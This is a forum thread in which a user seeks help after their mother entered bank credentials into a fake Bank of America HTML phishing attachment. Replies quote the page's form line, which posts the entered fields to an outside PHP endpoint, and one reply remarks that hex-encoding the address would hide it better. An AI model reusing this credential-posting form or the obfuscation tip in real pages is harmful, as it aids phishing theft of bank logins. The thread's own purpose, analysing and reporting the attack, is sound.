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My Mom just got an email from Bank of America saying she had some irregular activity on her account, I figured out it was a fake Bank of America email but she still entered some info into a fake HTML file named IrregularActivity.html she didn't enter everything in, but she did try to login with her credentials etc. So I'm thinking that it possibly saved whatever was entered into the document in a secret file somewhere, but I don't know how to check, I looked through, the HTML file and found nothing with C: in it, or any folders at all, but did find some random webpage that has an actual IP as it's URL, and it goes to some Hollywood County of North Carolina, I live in Chicago by the way. So any tips on what I should be looking for to find out if it did save credentials into a file somewhere hidden on the computer, or send them off somewhere. I'll upload the HTML file in a little bit.

Here's the link to it on MediaFire, you can just view it without downloading if you'd like. http://www.mediafire.com/view/62o14o51xtm9i44/IrregularActivityFile.html

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I'm not downloading anything, could you paste the file in pastebin?

 

EDIT: Never mind :P 

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It sent data to this IP address.

 

199.127.226.180 

 

action="http://myalerts.pw/site/sopp.php" method="POST" onsubmit="return validateForm()" target="myiframe">

 

 

that POST request most likely has any data that you put in the fields

 

heres the data center that the VPS this crap is hosted on. http://www.tocici.com/report that IP as malicious.

PEWDIEPIE DONT CROSS THAT BRIDGE

 

 

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It sent data to this IP address.

 

199.127.226.180 

Which links to this: http://sedoparking.com/en/

Any ideas on what it's doing at all? I tried to enter the letter 'g' into every field and it worked, than it took me to the official or at least what I think is the official Bank of America website.

EDIT: Is it trying to send fake traffic to one of those Sedo domain parking things in order to get money, based on what Sedo Parking pays people for?

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Which links to this: http://sedoparking.com/en/

Any ideas on what it's doing at all? I tried to enter the letter 'g' into every field and it worked, than it took me to the official or at least what I think is the official Bank of America website.

EDIT: Is it trying to send fake traffic to one of those Sedo domain parking things in order to get money, based on what Sedo Parking pays people for?

its a skid looking crap phishing page.

 

if he was smart he would put the ip and packet method in hexidecial

PEWDIEPIE DONT CROSS THAT BRIDGE

 

 

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